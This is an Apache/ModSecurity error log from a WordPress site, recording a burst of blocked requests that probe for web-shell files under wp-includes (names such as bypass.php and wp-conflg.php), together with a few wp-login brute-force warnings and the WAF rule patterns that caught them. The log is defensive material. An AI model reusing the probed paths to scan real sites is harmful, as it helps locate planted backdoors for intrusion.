[Wed Apr 15 04:49:27.338212 2026] [:error] [pid 4066:tid 4121] [client 45.131.195.191:25471] [client 45.131.195.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/class-wp-session-tokens-https.php"] [unique_id "ad6oV4C2YXfSPsC9O_BWVgAAAFE"]
[Wed Apr 15 04:49:31.126982 2026] [:error] [pid 4067:tid 4143] [client 45.131.195.185:54555] [client 45.131.195.185] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/crystal/lrs_dage.php"] [unique_id "ad6oW-5XHBJU8ZrRxZ0hIgAAAIw"]
[Wed Apr 15 04:49:36.297835 2026] [:error] [pid 4169:tid 4193] [client 45.131.195.130:25341] [client 45.131.195.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/as.php"] [unique_id "ad6oYB15U5D-N99n_jJgDQAAANM"]
[Wed Apr 15 04:49:38.577640 2026] [:error] [pid 45504:tid 45524] [client 45.131.195.155:52167] [client 45.131.195.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/certificates/wp-conflg.php"] [unique_id "ad6oYq3iO9_fE_IQEMkJIQAAARI"]
[Wed Apr 15 04:49:39.007631 2026] [:error] [pid 4066:tid 4106] [client 45.131.195.189:46563] [client 45.131.195.189] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/install.php"] [unique_id "ad6oY4C2YXfSPsC9O_BWYwAAAEI"]
[Wed Apr 15 04:49:39.435345 2026] [:error] [pid 45504:tid 45506] [client 45.131.195.131:24475] [client 45.131.195.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/db.php"] [unique_id "ad6oY63iO9_fE_IQEMkJJwAAAQA"]
[Wed Apr 15 04:49:50.099035 2026] [:error] [pid 4169:tid 4200] [client 45.131.195.144:54345] [client 45.131.195.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/thickbox/about.php"] [unique_id "ad6obh15U5D-N99n_jJgRAAAANg"]
[Wed Apr 15 04:49:55.370891 2026] [:error] [pid 45504:tid 45527] [client 45.131.195.125:24467] [client 45.131.195.125] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rk2.php"] [unique_id "ad6oc63iO9_fE_IQEMkJXwAAARU"]
[Wed Apr 15 04:50:00.297489 2026] [:error] [pid 4067:tid 4145] [client 45.131.195.130:52785] [client 45.131.195.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/certificates/past.php"] [unique_id "ad6oeO5XHBJU8ZrRxZ0hQAAAAI4"]
[Wed Apr 15 04:50:04.266964 2026] [:error] [pid 45504:tid 45526] [client 45.131.195.179:24213] [client 45.131.195.179] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/edit-tags.php"] [unique_id "ad6ofK3iO9_fE_IQEMkJgwAAARQ"]
[Wed Apr 15 04:50:12.474334 2026] [:error] [pid 4066:tid 4108] [client 45.131.195.150:37279] [client 45.131.195.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/footer-default.php"] [unique_id "ad6ohIC2YXfSPsC9O_BWdQAAAEQ"]
[Wed Apr 15 04:50:14.765247 2026] [:error] [pid 45504:tid 45507] [client 45.131.195.119:41677] [client 45.131.195.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/class-wp-widget-meta-request.php"] [unique_id "ad6ohq3iO9_fE_IQEMkJqAAAAQE"]
[Wed Apr 15 04:50:17.189171 2026] [:error] [pid 45504:tid 45518] [client 45.131.195.126:23769] [client 45.131.195.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/edit-widgets/bypass.php"] [unique_id "ad6oia3iO9_fE_IQEMkJrwAAAQw"]
[Wed Apr 15 04:50:20.965252 2026] [:error] [pid 4067:tid 4154] [client 45.131.195.129:59455] [client 45.131.195.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/l10n/wp-login.php"] [unique_id "ad6ojO5XHBJU8ZrRxZ0hgwAAAJc"]
[Wed Apr 15 04:50:34.594412 2026] [:error] [pid 4066:tid 4126] [client 45.131.195.169:23595] [client 45.131.195.169] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/wp-ss.php"] [unique_id "ad6omoC2YXfSPsC9O_BWjQAAAFY"]
[Wed Apr 15 04:50:36.049526 2026] [:error] [pid 4067:tid 4152] [client 45.131.195.160:60179] [client 45.131.195.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/xsec1.php"] [unique_id "ad6onO5XHBJU8ZrRxZ0hogAAAJU"]
[Wed Apr 15 04:50:42.037479 2026] [:error] [pid 4066:tid 4123] [client 45.131.195.165:55903] [client 45.131.195.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/crystal/sad.php"] [unique_id "ad6oooC2YXfSPsC9O_BWnQAAAFM"]
[Wed Apr 15 04:50:43.585962 2026] [:error] [pid 45504:tid 45509] [client 45.131.195.174:59069] [client 45.131.195.174] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/script-loader-packages.min.php"] [unique_id "ad6oo63iO9_fE_IQEMkJ7AAAAQM"]
[Wed Apr 15 04:50:47.370922 2026] [:error] [pid 45504:tid 45528] [client 45.131.195.115:45507] [client 45.131.195.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/class-phpmailer-beta.php"] [unique_id "ad6op63iO9_fE_IQEMkJ-QAAARY"]
[Wed Apr 15 04:50:47.801715 2026] [:error] [pid 4169:tid 4180] [client 45.131.195.139:62711] [client 45.131.195.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ms-file.php"] [unique_id "ad6opx15U5D-N99n_jJg1wAAAMg"]
[Wed Apr 15 04:50:48.224330 2026] [:error] [pid 45504:tid 45511] [client 45.131.195.179:58309] [client 45.131.195.179] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.195.179, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "ad6oqK3iO9_fE_IQEMkJ_gAAAQU"]
[Wed Apr 15 04:50:48.228825 2026] [proxy_fcgi:error] [pid 45504:tid 45511] [client 45.131.195.179:58309] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 04:50:48.438355 2026] [:error] [pid 45504:tid 45514] [client 45.131.195.179:58309] [client 45.131.195.179] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/av.php"] [unique_id "ad6oqK3iO9_fE_IQEMkKAwAAAQg"]
[Wed Apr 15 04:50:53.035025 2026] [:error] [pid 45504:tid 45516] [client 45.131.195.180:38135] [client 45.131.195.180] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "ad6ora3iO9_fE_IQEMkKCwAAAQo"]
[Wed Apr 15 04:50:53.460603 2026] [:error] [pid 45504:tid 45521] [client 45.131.195.151:38545] [client 45.131.195.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/network.php"] [unique_id "ad6ora3iO9_fE_IQEMkKDQAAAQ8"]
[Wed Apr 15 04:51:04.570143 2026] [:error] [pid 45504:tid 45506] [client 45.131.195.180:26937] [client 45.131.195.180] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/XML/content.php"] [unique_id "ad6ouK3iO9_fE_IQEMkKNgAAAQA"]
[Wed Apr 15 04:51:04.995936 2026] [:error] [pid 4067:tid 4155] [client 45.131.195.161:28019] [client 45.131.195.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/pomo/item.php"] [unique_id "ad6ouO5XHBJU8ZrRxZ0hwwAAAJg"]
[Wed Apr 15 04:51:07.718835 2026] [:error] [pid 45504:tid 45529] [client 45.131.195.175:49981] [client 45.131.195.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/pomo/plugins.php"] [unique_id "ad6ou63iO9_fE_IQEMkKPwAAARc"]
[Wed Apr 15 04:51:09.211486 2026] [:error] [pid 4169:tid 4172] [client 45.131.195.160:56423] [client 45.131.195.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/install.php"] [unique_id "ad6ovR15U5D-N99n_jJhHwAAAMA"]
[Wed Apr 15 04:51:09.657032 2026] [proxy_fcgi:error] [pid 4169:tid 4197] [client 45.131.195.125:63749] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 04:51:09.869907 2026] [:error] [pid 4169:tid 4183] [client 45.131.195.125:63749] [client 45.131.195.125] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.195.125, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-admin/css/wp-login.php"] [unique_id "ad6ovR15U5D-N99n_jJhJAAAAMs"]
[Wed Apr 15 04:51:13.353069 2026] [:error] [pid 4169:tid 4189] [client 45.131.195.125:63749] [client 45.131.195.125] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/class-wp-nav-widgets.php"] [unique_id "ad6owR15U5D-N99n_jJhMgAAANA"]
[Wed Apr 15 04:51:17.726305 2026] [:error] [pid 4169:tid 4173] [client 45.131.195.197:30963] [client 45.131.195.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/sitemaps/providers/doc.php"] [unique_id "ad6oxR15U5D-N99n_jJhRwAAAME"]
[Wed Apr 15 04:51:21.156695 2026] [:error] [pid 45504:tid 45510] [client 45.131.195.160:44165] [client 45.131.195.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/1.php"] [unique_id "ad6oya3iO9_fE_IQEMkKYwAAAQQ"]
[Wed Apr 15 04:51:21.597425 2026] [:error] [pid 4067:tid 4137] [client 45.131.195.175:40041] [client 45.131.195.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/class_api.php"] [unique_id "ad6oye5XHBJU8ZrRxZ0h2QAAAIY"]
[Wed Apr 15 04:51:26.878656 2026] [:error] [pid 45504:tid 45527] [client 45.131.195.250:37849] [client 45.131.195.250] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/smilies/admin.php"] [unique_id "ad6ozq3iO9_fE_IQEMkKfQAAARU"]
[Wed Apr 15 04:51:31.705416 2026] [:error] [pid 45504:tid 45527] [client 45.131.195.141:31193] [client 45.131.195.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/about.php"] [unique_id "ad6o063iO9_fE_IQEMkKkwAAARU"]
[Wed Apr 15 04:51:38.380428 2026] [:error] [pid 45504:tid 45529] [client 45.131.195.126:20889] [client 45.131.195.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/class-wp-customize-manager-interpreter.php"] [unique_id "ad6o2q3iO9_fE_IQEMkKogAAARc"]
[Wed Apr 15 04:51:38.818949 2026] [:error] [pid 4066:tid 4108] [client 45.131.195.145:36093] [client 45.131.195.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/bypass.php"] [unique_id "ad6o2oC2YXfSPsC9O_BW5wAAAEQ"]
[Wed Apr 15 04:51:42.167348 2026] [:error] [pid 4066:tid 4125] [client 45.131.195.165:44933] [client 45.131.195.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/count.php"] [unique_id "ad6o3oC2YXfSPsC9O_BW7wAAAFU"]
[Wed Apr 15 04:51:51.768673 2026] [:error] [pid 4169:tid 4173] [client 45.131.195.150:49849] [client 45.131.195.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/certificates/chosen.php"] [unique_id "ad6o5x15U5D-N99n_jJhhAAAAME"]
[Wed Apr 15 04:51:56.768682 2026] [:error] [pid 45504:tid 45517] [client 45.131.195.175:29983] [client 45.131.195.175] ModSecurity: Access denied with code 403 (phase 2). String match ".php" at REQUEST_FILENAME. [file "/usr/local/apache/modsecurity-cwaf/rules/24_Apps_Joomla.conf"] [line "74"] [id "240000"] [rev "1"] [msg "COMODO WAF: Protecting Joomla folder||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Joomla"] [hostname "gigfragments.org"] [uri "/images/stories/themes.php"] [unique_id "ad6o7K3iO9_fE_IQEMkK4wAAAQs"]
[Wed Apr 15 04:51:56.994889 2026] [:error] [pid 45504:tid 45521] [client 45.131.195.175:29983] [client 45.131.195.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/theme-compat/footer-embed-function.php"] [unique_id "ad6o7K3iO9_fE_IQEMkK5AAAAQ8"]
[Wed Apr 15 04:52:00.790920 2026] [:error] [pid 45504:tid 45530] [client 45.131.195.250:24471] [client 45.131.195.250] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/l10n/class-wp-translation-file-mo-event.php"] [unique_id "ad6o8K3iO9_fE_IQEMkK7wAAARg"]
[Wed Apr 15 04:52:02.334704 2026] [:error] [pid 4066:tid 4123] [client 45.131.195.119:58301] [client 45.131.195.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/vars-soap.php"] [unique_id "ad6o8oC2YXfSPsC9O_BW_wAAAFM"]
[Wed Apr 15 04:52:11.838846 2026] [:error] [pid 4169:tid 4200] [client 45.131.195.179:33797] [client 45.131.195.179] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/id3/wp-work.php"] [unique_id "ad6o-x15U5D-N99n_jJhsgAAANg"]
[Wed Apr 15 04:52:15.743391 2026] [:error] [pid 4169:tid 4181] [client 45.131.195.154:59215] [client 45.131.195.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/class-wp-taxonomy.editor.php"] [unique_id "ad6o_x15U5D-N99n_jJhwAAAAMk"]
[Wed Apr 15 04:52:18.063108 2026] [:error] [pid 4066:tid 4112] [client 45.131.195.125:61205] [client 45.131.195.125] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/wp-conflg.php"] [unique_id "ad6pAoC2YXfSPsC9O_BXGAAAAEg"]
[Wed Apr 15 04:52:27.443506 2026] [:error] [pid 45504:tid 45511] [client 45.131.195.121:56619] [client 45.131.195.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/interactivity-api/interactivity-api-xml.php"] [unique_id "ad6pC63iO9_fE_IQEMkLNgAAAQU"]
[Wed Apr 15 04:52:27.884990 2026] [:error] [pid 4067:tid 4135] [client 45.131.195.161:28147] [client 45.131.195.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/colour.php"] [unique_id "ad6pC-5XHBJU8ZrRxZ0iHwAAAIQ"]
[Wed Apr 15 04:52:31.265333 2026] [:error] [pid 4169:tid 4187] [client 45.131.195.160:33041] [client 45.131.195.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/class-wp-customize-background-position-control-variable.php"] [unique_id "ad6pDx15U5D-N99n_jJh2AAAAM4"]
[Wed Apr 15 04:52:31.688000 2026] [:error] [pid 45504:tid 45521] [client 45.131.195.161:33789] [client 45.131.195.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/include.php"] [unique_id "ad6pD63iO9_fE_IQEMkLRAAAAQ8"]
[Wed Apr 15 04:52:36.660425 2026] [:error] [pid 4169:tid 4197] [client 45.131.195.204:62489] [client 45.131.195.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/imgareaselect/wp-login.php"] [unique_id "ad6pFB15U5D-N99n_jJh6QAAANY"]
